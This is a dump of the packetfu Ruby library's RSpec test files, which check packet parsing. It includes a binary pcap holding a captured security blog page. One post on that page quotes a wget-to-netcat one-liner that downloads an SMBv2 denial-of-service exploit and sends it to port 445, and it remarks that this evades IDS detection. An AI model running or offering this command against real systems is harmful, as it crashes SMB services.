EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. packetfu-1.1.11/spec/0000755000004100000410000000000012573107241014361 5ustar www-datawww-datapacketfu-1.1.11/spec/udp_spec.rb0000644000004100000410000000126612573107241016515 0ustar www-datawww-datarequire 'spec_helper' include PacketFu describe UDPPacket do context "new" do it "should create UDP on IPv4 packets by default" do udp = UDPPacket.new expect(udp.ip_header).to be_a(IPHeader) expect(udp.ipv6_header).to be_nil end it "should create UDP on IPv6 packets" do udp = UDPPacket.new(:on_ipv6 => true) expect(udp.ip_header).to be_nil expect(udp.ipv6_header).to be_a(IPv6Header) udp.ipv6_saddr = "::1" udp.ipv6_daddr = "::2" udp.udp_src = 41000 udp.udp_dst = 42000 udp.payload = "\0" * 16 udp.recalc expect(udp.udp_sum).to eq(0xbb82) expect(udp.udp_len).to eq(24) end end end packetfu-1.1.11/spec/sample2.pcap0000644000004100000410000012003112573107241016566 0ustar www-datawww-dataò;KJJ f#5p;E<8@@*m C!ڒPm*й *;K4JJ#5p; fE<@7ϥC! Pڒ/T.m+4  J*;KN5BB f#5p;E49@@*t C!ڒPm+/T/\8 * J;K5 f#5p;E՜:@@) C!ڒPm+/T/\t * JGET / HTTP/1.1 User-Agent: curl/7.18.2 (i486-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.10 Host: www.planb-security.net Accept: */* ;KBB#5p; fE4y@74C! Pڒ/T/m̀6  V*;K#5p; fEz@7C! Pڒ/T/m̀6$:  W*HTTP/1.1 200 OK Date: Wed, 30 Dec 2009 19:05:41 GMT Server: Apache Last-Modified: Mon, 28 Dec 2009 19:58:32 GMT ETag: "d4dca80-8c17-47bcf54714a00" Accept-Ranges: bytes Content-Length: 35863 Vary: Accept-Encoding Content-Type: text/html Plan B: Security, Technology, and the Law

Monday, December 28, 2009

Grep 2.5.4 breaks regular expressions syntax

Backwards compatibility is for chumps, apparently. GNU Grep version 2.5.4 fundamentally changes regular expression syntax from the 2.5.3 and prior behavior. The below demonstrates the backwards breakage between 2.5.3 (on box1) and 2.5.4 (on box2).

todb@box1:~$ grep --version
GNU grep 2.5.3

Copyright (C) 1988, 1992-2002, 2004, 2005 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

todb@box1:~$ for i in cat parrot dog monkey
> do echo $i | egrep -v '^(cat|dog)'
> done
parrot
monkey
todb@box1:~$

### Meanwhile, on a system with grep 2.5.4 ###

todb@box2:~$ grep --version
GNU grep 2.5.4

Copyright (C) 2009 Free Software Foundation, Inc.
Lic;KfBB f#5p;E4A@@*l C!ڒPm/Tǀ *7 c;Kl#5p; fE@7C! Pڒ/Tm̀6!  c*,ense GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.


todb@box2:~$ for i in cat parrot dog monkey
> do echo $i | egrep -v '^(cat|dog)'
> done
cat
parrot
dog
monkey
root@box2:~$

The second fails because the special regex characters of parenthesis and pipe loose their special grouping and alteration meanings in 2.5.4. Thus, this works for 2.5.4:
todb@box2:~$ for i in cat parrot dog monkey
> do echo $i | egrep -v '^\(cat\|dog\)'
> done
parrot
monkey

But the same does not work for 2.5.3:
todb@box1:~$ for i in cat parrot dog monkey
> do echo $i | egrep -v '^\(cat\|dog\)'
> done
cat
parrot
dog
monkey
todb@box1:~$

What this all boils down to is that scripts that rely on egrep are going to break pretty horribly and somewhat mysteriously when the underlying grep package gets updated; even better, there's no common method between the two versions to ensure that you get what you expect with a regular expression that involves grouping or alteration.

Naughty, naughty, grep maintainers. Off to submit a bug report now, but since grep 2.5.4 was released way back ;KBB f#5p;E4B@@*k C!ڒPm/ToƳ *7 c;K#5p; fE@7C! Pڒ/Tom̀6;  c*,in February, 2009, I suspect the damage is going to be somewhat unavoidable.

If you know of a way to create a regex that will work in both contexts, I'd love to hear it. Single versus double quotes don't work, so for my purposes, I have to wrap my grep functions up in a version check of grep itself. (grep --version | sed s/[^0-9]*// | head -1 for the curious)

Labels: , , , ,

Friday, September 11, 2009

The most implemented exploit ever: SMBv2 Negotiate DoS

Swinging by SecurityFocus' exploit list for the recent SMBv2 denial of service, I was immediately struck by the apparent silliness of listing five seperate but nearly identical implementations of the same bug. So struck, I daresay, that I could not resist writing my own stand-alone Ruby version, joking that maybe SecurityFocus will pick it up and make me famous.
Well, they did, and I did lol.

They also picked up I)ruid's much more interesting bash shell version. I thought that opening a socket straight on the command line was strictly the purview of Plan 9, but he proved me wrong.

The most "meta" version, so far, is Brent's wget-to-netcat implementation; I couldn't get it to function exactly as his tweet was written, but here's a version that Works For Me:
for i in `wget http://ur1.ca/bhe8 -q -O-|egrep 'oit.*".*"'|sed 's/s.*[<|=]//g'|sed 's/#.*//g'|sed 's/ "\(.*\)"/\1/'`;do echo -e -n $i;done|nc -w 1 127.0.0.1 445 > /dev/null
This has the added bonus of including some mild fragmentation, making IDS detection a little more squirrelly.

At any rate, I think this is all quite hilarious, and now I'm hopeful that the SMBv2 bug will be the widest-implemented DoS ever.

Update: |)ruid has published a version in Expect

Update: I've published a version in ;Kl BB f#5p;E4E@@*h C!ڒPm/U gM& *B n;KAt #5p; fE@7C! Pڒ/U gm̀6*  n*7Perl

Update: Someone published a version in Java

Labels: , , , ,

Thursday, September 10, 2009

AT&T Netbooks, only $1159

I saw an ad on TV about AT&T practically giving away Acer netbooks. Here's the link of note.

So, it's $199 for a netbook, as long as you sign a two-year contract for a DataConnect plan... and that's where they get you, as they say. $40/month, plus $199, makes this a $1159 computing device over two years. Oh, and the $40/month plan is capped at 200 mb/month. Uhhhhh yeah.

This seems to suck significantly more than I expected.

Back to Plan A, being an Android phone on T-Mobile and a tethered POS laptop. Now to figure out if their data plans are unlimited. (I've been having creeping pr;Ku BB f#5p;E4G@@*f C!ڒPm/Uz *C n;Kv #5p; fE@7~C! Pڒ/Um̀6i  n*7oblems with my BlackBerry 8310, which is why I'm looking at this now.)

Labels: , ,

Friday, August 21, 2009

Why's (Poignant) Guide to Ruby

Since it appears that Why the Lucky Stiff has rm'ed himself from the Internet (for the time being?), I want to make sure that Why's (Poignant) Guide to Ruby is available for general use -- namely, for my kids, when they're literate enough to learn how to program.

I had the opportunity to meet and work a little with _why in the spring of 2009. Given my very limited exposure to him, both online and in person, I'm not surprised in the least that this happened.

So, here it is, in PDF form -- it's been lurking on my various desktops for a while now, and I give it to anyone who says something like, "Gee, so what's this Ruby all about, anyway?"

I'm sure there are mirrors elsewhere as well, but this one is the only one I can count on.

Why's (Poignant) Guide to Ruby

Labels:

Tuesday, June 30, 2009

Okay, Blogger, are we cool now?

Yes, I really do have SFTP, and I would like;KIy BB f#5p;E4J@@*c C!ڒPm/U&0 *C n;KOz #5p; fE@7{C! Pڒ/U&m̀62  n*7 to use that rather than plaintext FTP, if that's okay with you, Blogger.com. It is? Great!

I've fixed my RSS feed, again. Looks like Blogger and I were having some disagreements about relative path roots between SFTP and FTP entry points, and Blogger's error logging is supremely unhelpful in this regard.

Ah well, lesson learned.

Labels: , ,

;K3 BB f#5p;E4R@@*[ C!ڒPm/UY=Q *O {;KaH BB f#5p;E4S@@*Z C!ڒPm/UY=Q *a {;K BB#5p; fE4@7C! Pڒ/UY=m̀6U  *a;Ks BB f#5p;E4T@@*Y C!ڒPm/UY>Q] *l packetfu-1.1.11/spec/ipv6_spec.rb0000644000004100000410000000431712573107241016611 0ustar www-datawww-datarequire 'spec_helper' include PacketFu describe IPv6Header do context "when initializing an IPv6Header" do before :each do @ipv6_header = IPv6Header.new end it "should contain sane defaults" do expect(@ipv6_header.ipv6_v).to eql(6) expect(@ipv6_header.ipv6_len).to eql(0) expect(@ipv6_header.ipv6_src).to eql(0) expect(@ipv6_header.ipv6_dst).to eql(0) expect(@ipv6_header.ipv6_hop).to eql(255) expect(@ipv6_header.ipv6_next).to eql(0) end end end describe AddrIpv6 do context "when parsing IPv6 from wire" do before :each do @address_ipv6 = AddrIpv6.new end it "should parse an IPv6 address from string i/o" do raw_addr_ipv6 = "\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x1a\xc5\xff\xfe\x00\x01\x52" @address_ipv6.read(raw_addr_ipv6) expect(@address_ipv6.to_i).to eql(338288524927261089654170548082086773074) expect(@address_ipv6.to_x).to eql("fe80::21a:c5ff:fe00:152") end it "should parse an IPv6 address from octet string" do ipv6_string = "fe80::21a:c5ff:fe00:152" @address_ipv6.read_x(ipv6_string) expect(@address_ipv6.to_x).to eql(ipv6_string) end end end describe IPv6Packet do context "when initializing an IPv6Packet" do before :each do @ipv6_packet = IPv6Packet.new end it "should contain sane defaults" do expect(@ipv6_packet.ipv6_v).to eql(6) expect(@ipv6_packet.payload).to eql("") expect(@ipv6_packet.is_ipv6?).to be true end it "should support peek functionality" do expect(@ipv6_packet.peek).to match(/6\s+54\s+::\s+\->\s+::\s+N:0/) end it 'should set payload size on #recalc' do @ipv6_packet.payload = "\0" * 14 @ipv6_packet.recalc expect(@ipv6_packet.ipv6_len).to eq(14) @ipv6_packet.payload = "\0" * 255 @ipv6_packet.recalc(:ipv6) expect(@ipv6_packet.ipv6_len).to eq(255) end it 'should set payload size on #ipv6_recalc' do @ipv6_packet.payload = "\0" * 3 @ipv6_packet.ipv6_recalc expect(@ipv6_packet.ipv6_len).to eq(3) @ipv6_packet.payload = "\xff" * 12 @ipv6_packet.ipv6_recalc(:ipv6_len) expect(@ipv6_packet.ipv6_len).to eq(12) end end end packetfu-1.1.11/spec/packetfu_spec.rb0000644000004100000410000000464112573107241017527 0ustar www-datawww-datarequire 'spec_helper' describe PacketFu, "version information" do it "reports a version number" do PacketFu::VERSION.should match /^1\.[0-9]+\.[0-9]+$/ end its(:version) {should eq PacketFu::VERSION} it "can compare version strings" do PacketFu.binarize_version("1.2.3").should == 0x010203 PacketFu.binarize_version("3.0").should == 0x030000 PacketFu.at_least?("1.0").should be true PacketFu.at_least?("4.0").should be false PacketFu.older_than?("4.0").should be true PacketFu.newer_than?("1.0").should be true end it "can handle .pre versions" do PacketFu.binarize_version("1.7.6.pre").should == 0x010706 PacketFu.at_least?("0.9.0.pre").should be true end end describe PacketFu, "instance variables" do it "should have a bunch of instance variables" do PacketFu.instance_variable_get(:@byte_order).should == :little PacketFu.instance_variable_get(:@pcaprub_loaded).should_not be_nil end end describe PacketFu, "pcaprub deps" do it "should check for pcaprub" do begin has_pcap = false require 'pcaprub' has_pcap = true rescue LoadError end if has_pcap PacketFu.instance_variable_get(:@pcaprub_loaded).should be true else PacketFu.instance_variable_get(:@pcaprub_loaded).should be false end end end describe PacketFu, "protocol requires" do it "should have some protocols defined" do PacketFu::EthPacket.should_not be_nil PacketFu::IPPacket.should_not be_nil PacketFu::TCPPacket.should_not be_nil expect { PacketFu::FakePacket }.to raise_error(NameError, "uninitialized constant PacketFu::FakePacket") end end describe PacketFu, "packet class list management" do it "should allow packet class registration" do PacketFu.add_packet_class(PacketFu::FooPacket).should be_kind_of Array PacketFu.add_packet_class(PacketFu::BarPacket).should be_kind_of Array end its(:packet_classes) {should include(PacketFu::FooPacket)} it "should disallow non-classes as packet classes" do expect { PacketFu.add_packet_class("A String") }.to raise_error(RuntimeError, "Need a class") end its(:packet_prefixes) {should include("bar")} # Don't really have much utility for this right now. it "should allow packet class deregistration" do PacketFu.remove_packet_class(PacketFu::BarPacket) PacketFu.packet_prefixes.should_not include("bar") PacketFu.add_packet_class(PacketFu::BarPacket) end end packetfu-1.1.11/spec/packet_spec.rb0000644000004100000410000000406512573107241017174 0ustar www-datawww-datarequire 'spec_helper' describe PacketFu::Packet, "abstract packet class behavior" do before(:all) do add_fake_packets end after(:all) do remove_fake_packets end it "should not be instantiated" do expect { PacketFu::Packet.new }.to raise_error(NoMethodError) end it "should allow subclasses to instantiate" do expect(PacketFu::FooPacket.new).to be PacketFu.packet_classes.include?(PacketFu::FooPacket).should be true end it "should register packet classes with PacketFu" do PacketFu.packet_classes {should include(FooPacket) } PacketFu.packet_classes {should include(BarPacket) } end it "should disallow badly named subclasses" do expect { class PacketFu::PacketNot < PacketFu::Packet end }.to raise_error(RuntimeError, "Packet classes should be named 'ProtoPacket'") PacketFu.packet_classes.include?(PacketFu::PacketNot).should be false PacketFu.packet_classes {should_not include(PacketNot) } end before(:each) do @tcp_packet = PacketFu::TCPPacket.new @tcp_packet.ip_saddr = "10.10.10.10" end it "should shallow copy with dup()" do p2 = @tcp_packet.dup p2.ip_saddr = "20.20.20.20" p2.ip_saddr.should == @tcp_packet.ip_saddr p2.headers[1].object_id.should == @tcp_packet.headers[1].object_id end it "should deep copy with clone()" do p3 = @tcp_packet.clone p3.ip_saddr = "30.30.30.30" p3.ip_saddr.should_not == @tcp_packet.ip_saddr p3.headers[1].object_id.should_not == @tcp_packet.headers[1].object_id end it "should have senisble equality" do p4 = @tcp_packet.dup p4.should == @tcp_packet p5 = @tcp_packet.clone p5.should == @tcp_packet end # It's actually kinda hard to manually create identical TCP packets it "should be possible to manually create identical packets" do p6 = @tcp_packet.clone p6.should == @tcp_packet p7 = PacketFu::TCPPacket.new p7.ip_saddr = p6.ip_saddr p7.ip_id = p6.ip_id p7.tcp_seq = p6.tcp_seq p7.tcp_src = p6.tcp_src p7.tcp_sum = p6.tcp_sum p7.should == p6 end end packetfu-1.1.11/spec/packet_subclasses_spec.rb0000644000004100000410000000050412573107241021415 0ustar www-datawww-datarequire 'spec_helper' PacketFu.packet_classes.each do |pclass| describe pclass, "peek format" do it "will display sensible peek information" do p = pclass.new p.respond_to?(:peek).should be true p.peek.size.should be <= 80, p.peek.inspect p.peek.should match(/^[A-Z0-9?]../) end end end packetfu-1.1.11/spec/arp_spec.rb0000644000004100000410000001513612573107241016510 0ustar www-datawww-data# -*- coding: binary -*- require 'spec_helper' require 'tempfile' include PacketFu describe ARPHeader do context "when initializing ARPHeader" do before :each do @arp_header = ARPHeader.new end it "should have the correct classes for initialization values" do expect(@arp_header).to be_kind_of(ARPHeader) expect(@arp_header[:arp_hw]).to be_kind_of(StructFu::Int16) expect(@arp_header.arp_hw).to be_kind_of(Fixnum) expect(@arp_header[:arp_src_ip]).to be_kind_of(Octets) expect(@arp_header.arp_src_ip).to be_kind_of(String) expect(@arp_header[:arp_dst_mac]).to be_kind_of(EthMac) expect(@arp_header.body).to be_kind_of(StructFu::String) end end context "when parsing ARPHeader from the wire" do before :each do @arp_header = ARPHeader.new end it "should be able to parse an ARPHeader from string I/O" do hexified_arp_header = "000108000604000200032f1a74dec0a80102001b1151b7cec0a80169" raw_arp_header = hexified_arp_header.scan(/../).map {|x| x.to_i(16)}.pack("C*") @arp_header.read(raw_arp_header) expect(@arp_header.to_s).to eql(raw_arp_header) expect(@arp_header.arp_daddr_ip).to eql("192.168.1.105") expect(@arp_header.arp_saddr_ip).to eql("192.168.1.2") expect(@arp_header.arp_daddr_mac).to eql("00:1b:11:51:b7:ce") expect(@arp_header.arp_saddr_mac).to eql("00:03:2f:1a:74:de") end end end describe ARPPacket do context "when initializing ARPPacket" do before :each do @arp_packet = ARPPacket.new end it "should have the correct values for initialization" do expect(@arp_packet).to be_kind_of(ARPPacket) expect(@arp_packet.arp_saddr_ip).to eql("0.0.0.0") expect(@arp_packet.arp_daddr_ip).to eql("0.0.0.0") expect(@arp_packet.arp_src_ip).to eql("\x00\x00\x00\x00") expect(@arp_packet.arp_dst_ip).to eql("\x00\x00\x00\x00") end it "should allow setting values at initialization" do opts_hash = { :arp_hw => 1, :arp_proto => 0x0800, :arp_opcode => 2, :arp_src_ip => "\xc0\xa8\x01\x02" } arp = ARPPacket.new(opts_hash) expect(@arp_packet.arp_hw).to eql(opts_hash[:arp_hw]) expect(@arp_packet.arp_proto).to eql(opts_hash[:arp_proto]) # TODO: Fix the bug that is preventing these values from setting #expect(@arp_packet.arp_opcode).to eql(opts_hash[:arp_opcode]) #expect(@arp_packet.arp_src_ip).to eql(opts_hash[:arp_src_ip]) end it "should have the ability to set IP addresses" do @arp_packet.arp_saddr_ip = "1.2.3.4" @arp_packet.arp_daddr_ip = "5.6.7.8" expect(@arp_packet.arp_saddr_ip).to eql("1.2.3.4") expect(@arp_packet.arp_daddr_ip).to eql("5.6.7.8") expect(@arp_packet.arp_src_ip).to eql("\x01\x02\x03\x04") expect(@arp_packet.arp_dst_ip).to eql("\x05\x06\x07\x08") end it "should support peek formatting" do expect(@arp_packet.peek).to match(/A\s+60\s+00:01:ac:00:00:00\(0.0.0.0\)\->00:01:ac:00:00:00\(0\.0\.0\.0\):Requ/) end end context "when setting attributes on ARPPacket" do before :each do @arp_packet = ARPPacket.new end it "should allow the setting of IP addresses" do @arp_packet.arp_saddr_ip = "1.2.3.4" @arp_packet.arp_daddr_ip = "5.6.7.8" expect(@arp_packet.arp_saddr_ip).to eql("1.2.3.4") expect(@arp_packet.arp_daddr_ip).to eql("5.6.7.8") expect(@arp_packet.arp_src_ip).to eql("\x01\x02\x03\x04") expect(@arp_packet.arp_dst_ip).to eql("\x05\x06\x07\x08") end it "should allow the setting of MAC addresses" do @arp_packet.arp_saddr_mac = "00:01:02:03:04:05" @arp_packet.arp_daddr_mac = "00:06:07:08:09:0a" expect(@arp_packet.arp_saddr_mac).to eql("00:01:02:03:04:05") expect(@arp_packet.arp_daddr_mac).to eql("00:06:07:08:09:0a") expect(@arp_packet.arp_src_mac).to eql("\x00\x01\x02\x03\x04\x05") expect(@arp_packet.arp_dst_mac).to eql("\x00\x06\x07\x08\x09\x0a") end it "should allow the setting of all attributes" do hexified_arp_packet = "000108000604000200032f1a74dec0a80102001b1151b7cec0a80169" raw_arp_packet = hexified_arp_packet.scan(/../).map {|x| x.to_i(16)}.pack("C*") @arp_packet.arp_hw = 1 @arp_packet.arp_proto = 0x0800 @arp_packet.arp_hw_len = 6 @arp_packet.arp_proto_len = 4 @arp_packet.arp_opcode = 2 @arp_packet.arp_src_mac = "\x00\x03\x2f\x1a\x74\xde" @arp_packet.arp_src_ip = "\xc0\xa8\x01\x02" @arp_packet.arp_dst_mac = "\x00\x1b\x11\x51\xb7\xce" @arp_packet.arp_dst_ip = "\xc0\xa8\x01\x69" @arp_packet.payload = "" expect(@arp_packet.to_s[14,0xffff]).to eql(raw_arp_packet) end context "when setting arp flavors" do before :each do @arp_packet = ARPPacket.new end it "should have a sane default" do expect(@arp_packet.payload).to eql("\x00" * 18) end it "should support a Windows flavor" do @arp_packet = ARPPacket.new(:flavor => "Windows") expect(@arp_packet.payload).to eql("\x00" * 64) end it "should support a Linux flavor" do @arp_packet = ARPPacket.new(:flavor => "Linux") expect(@arp_packet.payload.size).to eql(32) end it "should support a HP Deskjet flavor" do @arp_packet = ARPPacket.new(:flavor => :hp_deskjet) expect(@arp_packet.payload.size).to eql(18) end end end context "when parsing ARPPacket from the wire" do before :each do @arp_packet = ARPPacket.new end it "should be able to parse an ARPPacket from string I/O" do hexified_arp_packet = "001b1151b7ce00032f1a74de0806000108000604000200032f1a74dec0a80102001b1151b7cec0a80169c0a80169" raw_arp_packet = hexified_arp_packet.scan(/../).map {|x| x.to_i(16)}.pack("C*") @arp_packet.read(raw_arp_packet) expect(@arp_packet.to_s).to eql(raw_arp_packet) expect(@arp_packet.payload).to eql("\xC0\xA8\x01i") expect(@arp_packet.arp_daddr_ip).to eql("192.168.1.105") expect(@arp_packet.arp_saddr_ip).to eql("192.168.1.2") expect(@arp_packet.arp_daddr_mac).to eql("00:1b:11:51:b7:ce") expect(@arp_packet.arp_saddr_mac).to eql("00:03:2f:1a:74:de") end end context "when writing ARPPacket to PCAP" do before :each do @arp_packet = ARPPacket.new end it "should write a PCAP file to disk" do @arp_packet.recalc arp_pcap_file = Tempfile.new('arp_pcap') expect(arp_pcap_file.read).to eql("") @arp_packet.to_f(arp_pcap_file, 'a') expect(File.exists?('arp_pcap')) expect(arp_pcap_file.read.size).to be >= 76 end end end packetfu-1.1.11/spec/spec_helper.rb0000644000004100000410000000153112573107241017177 0ustar www-datawww-data $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' puts "rspec #{RSpec::Core::Version::STRING}" if RSpec::Core::Version::STRING[0] == '3' require 'rspec/its' RSpec.configure do |config| #config.raise_errors_for_deprecations! config.expect_with :rspec do |c| c.syntax = [:expect, :should] end end end module FakePacket def layer 7 end end class PacketFu::FooPacket < PacketFu::Packet extend FakePacket end class PacketFu::BarPacket < PacketFu::Packet extend FakePacket end class PacketBaz end def add_fake_packets PacketFu.add_packet_class(PacketFu::FooPacket) PacketFu.add_packet_class(PacketFu::BarPacket) end def remove_fake_packets PacketFu.remove_packet_class(PacketFu::FooPacket) PacketFu.remove_packet_class(PacketFu::BarPacket) end remove_fake_packets packetfu-1.1.11/spec/eth_spec.rb0000644000004100000410000001120712573107241016501 0ustar www-datawww-data# -*- coding: binary -*- require 'spec_helper' require 'tempfile' include PacketFu describe EthMac do context "when creating an object from scratch" do before :each do @eth_mac = EthMac.new end it "should have sane defaults" do expect(@eth_mac.oui).to be_kind_of(EthOui) expect(@eth_mac.oui.oui).to eql(428) expect(@eth_mac.nic).to be_kind_of(EthNic) expect(@eth_mac.nic.to_s).to eql("\x00\x00\x00") end end context "when parsing EthMac from the wire" do before :each do @eth_mac = EthMac.new end it "should parse from string i/o (Example 1)" do dst = "\x00\x03\x2f\x1a\x74\xde" @eth_mac.read(dst) expect(@eth_mac).to be_kind_of(EthMac) expect(@eth_mac.to_s).to eql(dst) expect(@eth_mac.oui.oui).to eql(0x32f) expect(@eth_mac.nic.to_s).to eql("\x1At\xDE".force_encoding('binary')) expect(@eth_mac.nic.n2).to eql(222) end it "should parse from an ipad" do dst = "\x7c\x6d\x62\x01\x02\x03" @eth_mac.read(dst) expect(@eth_mac).to be_kind_of(EthMac) expect(@eth_mac.to_s).to eql(dst) expect(@eth_mac.oui.oui).to eql(0x6d62) end end end describe EthHeader do context "when creating an object from scratch" do before :each do @eth_header = EthHeader.new end it "should have sane defaults" do expect(@eth_header).to be_kind_of(EthHeader) expect(@eth_header.eth_src).to eql("\x00\x01\xAC\x00\x00\x00".force_encoding('binary')) expect(@eth_header.eth_dst).to eql("\x00\x01\xAC\x00\x00\x00".force_encoding('binary')) expect(@eth_header.eth_proto).to eql(2048) end it "should allow setting of the dstmac" do dst = "\x00\x03\x2f\x1a\x74\xde" dstmac = "00:03:2f:1a:74:de" expect(EthHeader.str2mac(dst)).to eql(dstmac) expect(EthHeader.mac2str(dstmac)).to eql(dst) end end end describe EthPacket do context "when creating an object from scratch" do before :each do @eth_packet = EthPacket.new end it "should have sane defaults" do expect(@eth_packet.eth_dst).to eql("\x00\x01\xAC\x00\x00\x00") expect(@eth_packet.eth_src).to eql("\x00\x01\xAC\x00\x00\x00") expect(@eth_packet.eth_proto).to eql(2048) end it "should be able to match a predefined eth_packet via string i/o" do raw_header = "00032f1a74de001b1151b7ce0800".scan(/../).map { |x| x.to_i(16) }.pack("C*") expect(@eth_packet).to be_kind_of(EthPacket) expect(@eth_packet.headers[0]).to be_kind_of(EthHeader) expect(@eth_packet.is_eth?).to be true expect(@eth_packet.is_tcp?).to be false @eth_packet.eth_dst = "\x00\x03\x2f\x1a\x74\xde" @eth_packet.eth_src = "\x00\x1b\x11\x51\xb7\xce" @eth_packet.eth_proto = 0x0800 expect(@eth_packet.to_s[0,14]).to eql(raw_header) end it "should be able to match a predefined eth_packet via opts" do raw_header = "00032f1a74de001b1151b7ce0800".scan(/../).map { |x| x.to_i(16) }.pack("C*") @eth_packet = EthPacket.new( :eth_dst => "\x00\x03\x2f\x1a\x74\xde", :eth_src => "\x00\x1b\x11\x51\xb7\xce", :eth_proto => 0x0800 ) expect(@eth_packet.to_s[0,14]).to eql(raw_header) end end context "when reading/writing PCAP to file" do it "should write a pcap file to disk" do @eth_packet = EthPacket.new( :eth_dst => "\x00\x03\x2f\x1a\x74\xde", :eth_src => "\x00\x1b\x11\x51\xb7\xce", :eth_proto => 0x0800 ) @eth_packet.recalc eth_pcap_file = Tempfile.new('eth_pcap') expect(eth_pcap_file.read).to eql("") @eth_packet.to_f(eth_pcap_file, 'a') expect(File.exists?('eth_pcap')) expect(eth_pcap_file.read.size).to be >= 30 end it "should read a pcap file to create ethpacket" do parsed_packets = PcapFile.read_packets("./test/sample.pcap") @eth_packet = parsed_packets.first expect(@eth_packet).to be_kind_of(EthPacket) expect(@eth_packet.eth_daddr).to eql("00:03:2f:1a:74:de") expect(@eth_packet.eth_saddr).to eql("00:1b:11:51:b7:ce") expect(@eth_packet.size).to eql(78) expect(@eth_packet.headers.first.body).to be_kind_of(PacketFu::IPHeader) expect(@eth_packet.headers.first.members).to eql([:eth_dst, :eth_src, :eth_proto, :body]) end it "should read a vlan encapsulated ethpacket as an invalid packet" do parsed_packets = PcapFile.read_packets("./test/vlan-pcapr.cap") @eth_packet = parsed_packets.first expect(@eth_packet).to be_kind_of(InvalidPacket) end end end packetfu-1.1.11/spec/structfu_spec.rb0000644000004100000410000002023012573107241017574 0ustar www-datawww-datarequire 'spec_helper' describe StructFu, "mixin methods" do before :each do class StructClass include StructFu end @sc = StructClass.new end it "should provide the basic StructFu methods" do @sc.respond_to?(:sz).should be true @sc.respond_to?(:len).should be true @sc.respond_to?(:typecast).should be true @sc.respond_to?(:body=).should be true end end describe StructFu::Int, "basic Int class" do before :each do @int = StructFu::Int.new(8) end it "should have an initial state" do new_int = StructFu::Int.new new_int.value.should be_nil new_int.endian.should be_nil new_int.width.should be_nil new_int.default.should == 0 end it "should raise when to_s'ed directly" do expect { @int.to_s}.to raise_error(StandardError, "StructFu::Int#to_s accessed, must be redefined.") end it "should have a value of 8" do @int.value.should == 8 @int.to_i.should == 8 @int.to_f.to_s.should == "8.0" end it "should read an integer" do @int.read(7) @int.to_i.should == 7 end end describe StructFu::Int8, "one byte value" do before :each do @int = StructFu::Int8.new(11) end it "should have an initial state" do new_int = StructFu::Int8.new new_int.value.should be_nil new_int.endian.should be_nil new_int.width.should == 1 new_int.default.should == 0 end it "should print a one character packed string" do @int.to_s.should == "\x0b" end it "should have a value of 11" do @int.value.should == 11 @int.to_i.should == 11 @int.to_f.to_s.should == "11.0" end it "should reset with a new integer" do @int.read(2) @int.to_i.should == 2 @int.to_s.should == "\x02" @int.read(254) @int.to_i.should == 254 @int.to_s.should == "\xfe".force_encoding("binary") end end describe StructFu::Int16, "two byte value" do before :each do @int = StructFu::Int16.new(11) end it "should have an initial state" do new_int = StructFu::Int16.new new_int.value.should be_nil new_int.endian.should == :big new_int.width.should == 2 new_int.default.should == 0 end it "should print a two character packed string" do @int.to_s.should == "\x00\x0b".force_encoding("binary") end it "should have a value of 11" do @int.value.should == 11 @int.to_i.should == 11 @int.to_f.to_s.should == "11.0" end it "should reset with a new integer" do @int.read(2) @int.to_i.should == 2 @int.to_s.should == "\x00\x02" @int.read(254) @int.to_i.should == 254 @int.to_s.should == "\x00\xfe".force_encoding("binary") end it "should be able to set endianness" do int_be = StructFu::Int16.new(11,:big) int_be.to_s.should == "\x00\x0b" int_le = StructFu::Int16.new(11,:little) int_le.to_s.should == "\x0b\x00" end it "should be able to switch endianness" do @int.endian.should == :big @int.to_s.should == "\x00\x0b" @int.endian = :little @int.endian.should == :little @int.read(11) @int.to_s.should == "\x0b\x00" end end describe StructFu::Int16le, "2 byte little-endian value" do before :each do @int = StructFu::Int16le.new(11) end it "should behave pretty much like any other 16 bit int" do @int.to_s.should == "\x0b\x00" end it "should raise when you try to change endianness" do expect { @int.endian = :big }.to raise_error(NoMethodError, /undefined method `endian='/) expect { @int.endian = :little }.to raise_error(NoMethodError, /undefined method `endian='/) end end describe StructFu::Int16be, "2 byte big-endian value" do before :each do @int = StructFu::Int16be.new(11) end it "should behave pretty much like any other 16 bit int" do @int.to_s.should == "\x00\x0b" end it "should raise when you try to change endianness" do expect { @int.endian = :big }.to raise_error(NoMethodError, /undefined method `endian='/) expect { @int.endian = :little }.to raise_error(NoMethodError, /undefined method `endian='/) end end describe StructFu::Int32, "four byte value" do before :each do @int = StructFu::Int32.new(11) end it "should have an initial state" do new_int = StructFu::Int32.new new_int.value.should be_nil new_int.endian.should == :big new_int.width.should == 4 new_int.default.should == 0 end it "should print a four character packed string" do @int.to_s.should == "\x00\x00\x00\x0b" end it "should have a value of 11" do @int.value.should == 11 @int.to_i.should == 11 @int.to_f.to_s.should == "11.0" end it "should reset with a new integer" do @int.read(2) @int.to_i.should == 2 @int.to_s.should == "\x00\x00\x00\x02" @int.read(254) @int.to_i.should == 254 @int.to_s.should == "\x00\x00\x00\xfe".force_encoding("binary") end it "should be able to set endianness" do int_be = StructFu::Int32.new(11,:big) int_be.to_s.should == "\x00\x00\x00\x0b" int_le = StructFu::Int32.new(11,:little) int_le.to_s.should == "\x0b\x00\x00\x00" end it "should be able to switch endianness" do @int.endian.should == :big @int.to_s.should == "\x00\x00\x00\x0b" @int.endian = :little @int.endian.should == :little @int.read(11) @int.to_s.should == "\x0b\x00\x00\x00" end end describe StructFu::Int32le, "4 byte little-endian value" do before :each do @int = StructFu::Int32le.new(11) end it "should behave pretty much like any other 32 bit int" do @int.to_s.should == "\x0b\x00\x00\x00" end it "should raise when you try to change endianness" do expect { @int.endian = :big }.to raise_error(NoMethodError, /undefined method `endian='/) expect { @int.endian = :little }.to raise_error(NoMethodError, /undefined method `endian='/) end end describe StructFu::Int32be, "4 byte big-endian value" do before :each do @int = StructFu::Int32be.new(11) end it "should behave pretty much like any other 32 bit int" do @int.to_s.should == "\x00\x00\x00\x0b" end it "should raise when you try to change endianness" do expect { @int.endian = :big }.to raise_error(NoMethodError, /undefined method `endian='/) expect { @int.endian = :little }.to raise_error(NoMethodError, /undefined method `endian='/) end 